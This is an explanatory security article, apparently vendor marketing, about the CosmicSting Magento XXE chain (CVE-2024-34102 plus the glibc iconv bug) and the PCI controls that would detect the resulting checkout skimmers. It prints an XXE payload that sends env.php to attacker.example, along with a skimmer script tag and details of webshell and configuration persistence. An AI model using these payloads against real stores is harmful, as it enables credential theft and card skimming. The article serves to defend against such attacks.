Inside CosmicSting: The Magento XXE Chain That Skimmed Three-Quarters of Adobe Commerce
In June 2024, Adobe pushed an emergency patch for CVE-2024-34102 — a pre-authentication XML External Entity injection in Adobe Commerce and Magento Open Source. The CVSS score was 9.8. The vulnerability was named CosmicSting by Sansec, the threat-research team that first reported widespread exploitation, and within weeks the same team was reporting that roughly three-quarters of all Adobe Commerce stores in their telemetry had been compromised.
That number is worth sitting with. It isn’t a typical “thousands of stores still unpatched” headline; it’s a statement that, of the merchants using a specific high-end e-commerce platform, the majority were running with a skimmer in production for some window of time. Most of those merchants did not know.
This article walks through what CosmicSting actually is — the bug, the chain that turned a file-read primitive into remote code execution, and the skimmer payloads that landed on merchant checkouts. It is written for readers who want the mechanism, not just the takeaway, and along the way it makes a specific argument about why the current SMB-merchant security model leaves this kind of attack viable for months at a time.
The pre-conditions: what makes Magento a target
Adobe Commerce — formerly Magento Commerce, before Adobe’s 2018 acquisition of Magento Inc. — is the heaviest e-commerce platform in the SMB-to-mid-market range. Its open-source sibling, Magento Open Source, is essentially the same codebase minus the enterprise extensions. Together they power roughly 150,000–250,000 active stores by recent estimates, weighted heavily toward merchants doing $1M–$50M GMV.
Three properties make the platform attractive to attackers:
It runs PHP. A PHP application can be fully compromised by an arbitrary file write to the web root. There is no compilation step, no signed binary; a malicious .php file dropped anywhere the web server can reach is immediately executable. This is true of every PHP application, but Magento’s deep plugin and theme architecture means it has many writable directories.
It exposes a REST and SOAP API by default. Magento’s API was historically a competitive advantage — third-party integrations, mobile apps, headless storefronts. From an attack-surface perspective, every public endpoint is a potential entry. The endpoints accept content-typed payloads (application/json, application/xml), and the platform’s routing layer dispatches by content-type before authentication checks complete on some routes.
It has rich, server-side rendering of merchant-controlled HTML. The admin panel allows the merchant to set arbitrary HTML in dozens of “design” configuration values — header welcome messages, transactional email templates, product description macros. The platform interpolates merchant-controlled strings into rendered pages. If an attacker can write to those configuration values, they can inject JavaScript onto the storefront in front of every customer.
The combination of those three properties means that an attacker who achieves arbitrary file read becomes an attacker with access to crypto keys; an attacker with crypto keys becomes an attacker with admin sessions; an attacker with admin sessions becomes an attacker who can inject persistent JavaScript skimmers into every checkout. Every step is possible because the previous one is. CosmicSting started this chain at the top.
CVE-2024-34102: the XXE itself
XML External Entity injection — XXE — is one of the older bugs in the OWASP catalog. The mechanism is straightforward: an XML parser, when fed a document, can be instructed to dereference external entities. Those entities can point to local files (file:///etc/passwd), to remote URLs the server-side fetches, or to internal services. A parser that doesn’t disable external-entity resolution lets an attacker turn an XML payload into an exfiltration primitive.
XXE is well-understood and well-mitigated in modern frameworks. Most XML parsers ship with safe defaults. CVE-2024-34102 is interesting because it lived in a code path that nobody expected to invoke an XML parser: a JSON request.
The vulnerable endpoint accepted Content-Type: application/json payloads — the routine path for Magento’s REST API. Inside Magento’s data-binding layer, however, was a deserialization helper that, under specific input shapes, would route to a code path that eventually invoked simplexml_load_string on attacker-controlled bytes. The route depended on a particular nested JSON structure that Magento’s JsonHydrator (or its functional equivalent in the patched commit) would interpret as a request to inflate a serialized object — and the inflation logic, several layers deep, called into XML parsing without the safe-defaults flags set.
The result: an unauthenticated attacker could POST a carefully-shaped JSON document to the public REST API and induce the server to fetch and parse an XML document — including external entities. The XML payload looked roughly like:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=app/etc/env.php">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example/?d=%file;'>">
%eval;
%exfil;
]>
<foo>&exfil;</foo>
Three things to notice. First, the php://filter wrapper is a PHP-specific URL handler that lets the attacker base64-encode any local file before it’s emitted into the entity expansion. Without it, files containing characters that aren’t valid in XML would break the parser. Second, the nested entity construction — defining one entity that defines another — is the standard XXE pattern for exfiltration over an out-of-band channel; modern XML parsers, when they resolve %exfil, make an HTTP request to the attacker-controlled domain with the encoded file contents in the URL. Third, the target file: app/etc/env.php is Magento’s environment configuration. It contains the database credentials, the crypt/key value used to sign session tokens and encrypt sensitive admin data, and the backend/frontName random string that obscures the admin URL.
That single file is enough to escalate the attack from “I can read files” to “I can be the administrator.” With the crypt key, the attacker can forge any cookie or session token Magento has signed. With the database credentials, the attacker can read the admin user table directly if the database is reachable. With the random admin URL, the attacker can find the login endpoint that’s normally hidden behind a non-guessable path.
In other words: a single unauthenticated POST gave the attacker the keys to the entire installation.
CVE-2024-2961: turning file-read into RCE
The XXE on its own is severe, but file-read is technically less than RCE. A defender who patched CVE-2024-34102 quickly and rotated their crypt/key could plausibly argue they had limited damage. Sansec’s later analysis showed that defenders did not, in practice, have that window — because the file-read primitive could be combined with CVE-2024-2961, a glibc bug disclosed two months earlier, to upgrade file-read to direct RCE.
CVE-2024-2961 is a heap buffer overflow in glibc’s iconv character-conversion routines, specifically when converting to the ISO-2022-CN-EXT charset. The bug was disclosed by Charles Fol of Ambionics in April 2024, complete with a working exploit primitive: the overflow, combined with PHP’s exposure of iconv via filters and stream wrappers, allowed an attacker who could control the source bytes of an iconv call to corrupt PHP’s heap and ultimately gain code execution within the PHP process.
In a normal PHP application, getting attacker-controlled bytes through iconv requires either a deliberate code path or a pre-existing primitive — for instance, the ability to read attacker-controlled files. CosmicSting’s XXE provided exactly that primitive. By chaining the two:
- The XXE in CVE-2024-34102 fetches an attacker-controlled URL, allowing the attacker to deliver arbitrary bytes through PHP’s
php://filterchain. - The filter chain includes
convert.iconv.UTF-8.ISO-2022-CN-EXT, which routes the bytes through the vulnerable iconv conversion. - The iconv overflow corrupts the PHP heap.
- Carefully-crafted bytes pivot the corruption into PHP’s internal function dispatch tables.
- The next PHP call after the corruption executes attacker code.
Public exploit code for the chain appeared on GitHub within about two weeks of CVE-2024-34102’s disclosure. The chain is complex but mechanical; once the primitive existed and the iconv bug was public, weaponizing it was a matter of glue code, not novel research.
The practical implication: a merchant who applied Adobe’s patch for CVE-2024-34102 but had not yet applied their distribution’s glibc patch was still exploitable, because the chain begins with the XXE that the Magento patch addressed but ends in iconv that the OS patches address. Adobe’s advisory was specific to Magento; the iconv side fell to Linux distribution maintainers, and many merchants run Magento on hosting providers where they don’t control glibc directly.
What attackers did with RCE
Once RCE landed inside the PHP process running Magento, the post-exploitation playbook was direct:
Persist via the design configuration. The fastest way to inject JavaScript into every Magento storefront page is via the design/header/welcome configuration value or one of the layout XML override fields. These are normally edited through the admin panel; with RCE, the attacker writes directly to the core_config_data database table. The injected payload is typically a <script src="https://attacker-cdn.example/skim.js"></script> tag, where the CDN domain is short-lived and rotated per-victim to evade blocklists. On every page render — including the checkout — Magento dutifully serves the merchant-configured “welcome message,” which now includes the skimmer.
Persist via uploaded PHP files. The attacker drops a webshell in pub/static/ or another web-accessible directory, providing a backdoor for re-entry even after the merchant patches CVE-2024-34102. Webshells were typically named to mimic Magento’s own static asset filenames (mage-cookies.php, theme-static.php) and varied per intrusion.
Hide the persistence from administrative UI. Magento’s admin panel doesn’t display the raw core_config_data rows; it displays them through forms that match expected schema. An attacker can write a value to a non-standard configuration scope (a specific store-view rather than the default scope) such that the value is rendered to customers but doesn’t appear in the merchant’s admin UI when they look for it.
Skim cards and exfiltrate to a typosquat domain. The skimmer payload itself is unremarkable: it hooks into Magento’s checkout JavaScript, listens for the form-submit event, reads the card-input values from the page (which Magento merchants typically collect directly when not using an iframe-based processor), and POSTs to a domain like magento-stat1cs.com or mage-cdn.example. Because the payload is loaded via a <script src> tag pointing at a third-party domain, no obvious code lives on the merchant’s server outside the single configuration row.
The whole chain — from initial POST to a working skimmer in production — could be automated into a single tool that scanned for vulnerable Magento installations and compromised them at scale. Sansec’s telemetry suggested that exactly such a tool was deployed by at least one threat actor, with new compromises showing the same payload signatures across hundreds of merchants per day in the weeks after CVE-2024-34102 became public.
Why detection lagged
The most uncomfortable part of the CosmicSting story isn’t the exploit chain. It’s the gap between disclosure and detection on the merchant side.
Adobe published the patch on June 11, 2024. Sansec’s first public report flagged active exploitation a few days later. Within two weeks, public exploit code was available. By the end of June, threat researchers were reporting thousands of compromises.
By October 2024, four months after the patch, Sansec reported that approximately 75% of Adobe Commerce stores in their telemetry had not patched. Not all of those were compromised — some were behind WAFs that happened to filter the specific exploit shape, some had other compensating controls — but the population at risk was the majority of the platform.
The reasons merchants didn’t patch are mundane and worth listing:
Patching Magento breaks things. Magento’s plugin and theme ecosystem is fragile. Each major version upgrade or security patch has historically required the merchant to test their store’s checkout, theme, and integrations end-to-end before deploying. For SMB merchants without a dedicated developer, that test cycle takes a weekend. For mid-market merchants with a development agency on retainer, it costs $2,000–$10,000 per patch cycle. A surprise emergency patch on June 11 hit during the busy summer trading window for many merchants.
The vulnerability was pre-authentication. This made the patch more urgent, but it also meant the merchant had no audit trail of an attacker authenticating against their admin panel. The compromise looked like normal customer traffic until the skimmer was active.
Detection requires monitoring the customer-facing storefront. A skimmer injected via the core_config_data table is invisible from the merchant’s perspective in the admin UI. The skimmer only renders to actual customer browsers loading the actual storefront. A merchant who didn’t have a process to scan their own checkout page from a non-admin viewpoint — i.e., a merchant who relied on their internal admin view to see “what’s on the page” — couldn’t see the skimmer.
Card-fraud signal is delayed. Even after compromise, the issuing-bank fraud-detection signal that surfaces “too many fraudulent CNP transactions came from this merchant” runs on a timeline of weeks to months. The acquirer’s notification to the merchant comes later still. By the time a merchant gets the call, the skimmer has been in production for two to three months.
There was no regulatory floor. Pre-March 2025, PCI DSS v4.0’s client-side controls were “best effort.” Auditors didn’t strictly require the merchant to demonstrate they could detect a script change on the checkout page. A merchant could attest to compliance without having the actual capability that would have caught CosmicSting in days rather than months.
That last point is the operational story underneath the CVE: the entire merchant population was running without a control that would have detected the most predictable form of compromise on their platform. PCI 4.0 made that control mandatory in March 2025, in part as a direct response to the CosmicSting class of incident.
What CosmicSting actually teaches
Three observations from the year of CosmicSting that should shape how SMB merchants think about client-side security going forward:
The vulnerability that compromises you isn’t necessarily yours. Most CosmicSting victims didn’t write a single line of vulnerable code. They installed a platform that had a flaw in a single endpoint, and they ran a Linux distribution that shipped a version of glibc with a separate flaw. The compromise was a function of the supply chain, not the merchant’s diligence. The defenses that work, therefore, are also supply-chain-aware: monitoring what runs in the customer’s browser regardless of what code your platform thinks is supposed to be there.
The interesting attack surface is what the customer’s browser sees, not what your server logs show. A merchant looking at access logs after a CosmicSting compromise sees normal HTTP traffic. The attack moved into the merchant’s infrastructure for ten minutes, planted persistence in the database, then left. The skimmer that ran for the next two months never touched the merchant’s server logs at all — it ran in customer browsers. The defense that catches this class of attack is necessarily client-side: scanning what real browsers actually load on the checkout page, comparing against an authorized baseline, alerting when anything new appears.
Patch-cycle latency is structural. Telling SMB merchants “patch faster” doesn’t work. The reasons they don’t patch fast — fragile plugin ecosystems, expensive QA cycles, no dedicated security personnel — are not going away. The defense layer has to assume that patch cycles run on the order of weeks-to-months and that compensating controls have to bridge the gap. Continuous client-side monitoring is the bridge.
How CosmicSting maps to PCI 6.4.3 and 11.6.1
The two PCI v4.0 controls that became mandatory and assessable on March 31, 2025 are the regulatory codification of the lessons above:
Requirement 6.4.3 — maintain an inventory of every script on payment pages, with authorization and integrity proof. A merchant operating this control on a Magento installation would have noticed the new <script src="https://attacker-cdn.example/skim.js"> element appearing in their inventory the day after compromise, because the script tag would not match any authorized entry.
Requirement 11.6.1 — automatically detect and alert on payment-page modifications, at least weekly. A merchant operating this control on a Magento installation would have received an alert within seven days of the configuration change, because the rendered checkout page’s script inventory would have diverged from the prior week’s baseline.
A weekly cadence is the regulatory floor. In practice, daily or hourly monitoring is achievable at modest cost, and the value of the cadence is exactly proportional to how long a skimmer is permitted to stay in production.
CosmicSting wasn’t a particularly novel attack in mechanism. The XXE pattern is twenty-five years old. The PHP heap-corruption pivot is a known technique. The skimmer payload is a copy-paste from prior Magecart campaigns. What made it expensive at the merchant level was the absence of detection — and that absence is exactly what the new PCI requirements were written to close.
What this means for your store
If you run on Magento or Adobe Commerce, three immediate actions:
- Confirm CVE-2024-34102 is patched. Adobe Commerce 2.4.7-p1 and Magento Open Source equivalents include the fix. If you’re on an unsupported branch, upgrade.
- Confirm your hosting environment has glibc patched for CVE-2024-2961. If you’re on a managed hosting provider, ask them.
- Run a fresh script inventory of your checkout page. A merchant who was compromised in mid-2024 and has not since rotated their
crypt/keyand audited theircore_config_datatable may still have a skimmer in production. Compare the scripts loading on your live checkout against the scripts your admin panel says should be there. Anything unexpected gets investigated.
If you’re not on Magento, the lesson is still relevant: every e-commerce platform has its own equivalent. The defense that worked against CosmicSting works against the next one.
A free script scan on your checkout page is the fastest way to know your current state. Run it now. The merchants who got hurt by CosmicSting are the ones who didn’t.
Run a free PCI 6.4.3 scan of your checkout page. Get the script inventory and a one-page PDF report. Try it now →